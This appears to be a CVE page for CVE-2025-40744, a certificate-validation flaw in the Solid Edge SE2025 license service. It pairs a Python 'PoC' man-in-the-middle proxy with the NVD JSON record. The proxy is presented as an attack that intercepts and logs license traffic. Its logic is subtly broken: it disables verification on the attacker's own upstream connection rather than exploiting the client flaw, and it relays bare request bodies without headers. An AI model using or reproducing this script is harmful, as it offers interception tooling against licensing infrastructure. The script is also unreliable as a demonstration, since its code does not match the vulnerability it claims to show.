CVE-2025-40744

# CVE-2025-40744 PoC - MITM Attack on Solid Edge SE2025 License Service # This PoC demonstrates the certificate validation bypass import socket import ssl import threading from http.server import HTTPServer, BaseHTTPRequestHandler class MITMProxyHandler(BaseHTTPRequestHandler): def do_POST(self): # Forward request to legitimate license server target_host = 'license.siemens.com' target_port = 443 # Create SSL context with weak verification (simulating the vulnerability) ctx = ssl.create_default_context() ctx.check_hostname = False # Bypass hostname verification ctx.verify_mode = ssl.CERT_NONE # Bypass certificate validation try: # Connect to target server with socket.create_connection((target_host, target_port), timeout=10) as sock: with ctx.wrap_socket(sock, server_hostname=target_host) as ssock: # Forward the request content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) ssock.sendall(post_data) # Receive response response = ssock.recv(4096) # Log intercepted data (for demonstration) print(f"[+] Intercepted license response: {response[:100]}...") # Forward response to client self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(response) except Exception as e: print(f"[-] Error: {e}") self.send_error(500) def start_mitm_proxy(port=8443): server = HTTPServer(('0.0.0.0', port), MITMProxyHandler) print(f"[*] MITM Proxy listening on port {port}") server.serve_forever() if __name__ == '__main__': start_mitm_proxy()

{"cve": {"id": "CVE-2025-40744", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:37.557", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Solid Edge SE2025 (All versions < V225.0 Update 11). Affected applications do not properly validate client certificates to connect to License Service endpoint. This could allow an unauthenticated remote attacker to perform man in the middle attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-522291.html", "source": "[email protected]"}]}}